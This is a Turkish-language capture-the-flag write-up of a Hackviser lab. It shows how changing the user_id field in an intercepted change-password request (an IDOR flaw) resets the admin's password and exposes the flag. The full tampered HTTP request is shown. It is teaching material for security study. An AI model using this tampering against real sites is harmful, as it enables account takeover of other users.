

Insecure Direct Object References (IDOR)/Change Password

Herkese selamlar bu yazımda [Hackviser](#) üzerinde bulunan Web security lablarından biri olan **Insecure Direct Object References (IDOR)/Change Password** labının çözümünü anlatacağım.

Öncelikle bize verilen siteye gittiğimizde aşağıdaki gibi bir login page karşılıyor.

Login

Username

Password

Login

Username: test / **Password:** test

Reset

Default verilen test:test bilgileri ile giriş yaptığımda ise aşağıdaki gibi bir ekran karşılıyor

Change Password

[Reset](#)[Logout](#)

Username: **test**

Phone: **227-290-9627**

Change Password

Enter your new password:

Confirm

Şifre değiştirme işlemi yaparken isteği tutup izlemeye alıyorum.

```
Request
Pretty Raw Hex
1 POST /index.php HTTP/1.1
2 Host: loyal-green-goblin.europel.hackviser.space
3 Cookie: PHPSESSID=hl5ep1dtmfqha49vmu22nepv6i
4 Content-Length: 23
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Chromium";v="129", "Not=A?Brand";v="8"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Windows"
9 Accept-Language: tr-TR,tr;q=0.9
10 Origin:
https://loyal-green-goblin.europel.hackviser.space
11 Content-Type: application/x-www-form-urlencoded
12 Upgrade-Insecure-Requests: 1
13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/129.0.6668.71 Safari/537.36
14 Accept:
text/html,application/xhtml+xml,application/xml;q=0.
9,image/avif,image/webp,image/apng,*/*;q=0.8,applica
tion/signed-exchange;v=b3;q=0.7
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: navigate
17 Sec-Fetch-User: ?1
18 Sec-Fetch-Dest: document
19 Referer:
https://loyal-green-goblin.europel.hackviser.space/i
ndex.php
20 Accept-Encoding: gzip, deflate, br
21 Priority: u=0, i
22 Connection: keep-alive
23
24 password=test&user_id=2
```

Görselin alt kısmında "user_id=2" kısmı dikkatimi çekiyor. Zaten aktif olan bir admin kullanıcısının olduğunu biliyoruz. Admin kullanıcısının id'sinin 1 olabileceğini tahmin ediyorum. Ve bu kısımda isteği değiştirerek id değerini 1 yapıyorum. Ardından isteği gönderiyorum.

Change Password

Password change successful!

admin's password has been
changed

Görseldeki gibi admin kullanıcısının şifresini başarılı bir şekilde değiştirdiğimin bilgisini alıyorum.

admin:test bilgileri ile giriş yaptığımda aşağıdaki gibi başarılı bir şekilde giriş yapabiliyorum.

Change Password

[Reset](#)[Logout](#)

Username: **admin**

Phone: **876-987-8489**

Change Password

Enter your new password:

Confirm

Bu kısımda phone bilgisi ise flag değeri oluyor.

Umarım bu yazıyı sıkılmadan okumuşsunuzdur. Keyifli çalışmalar!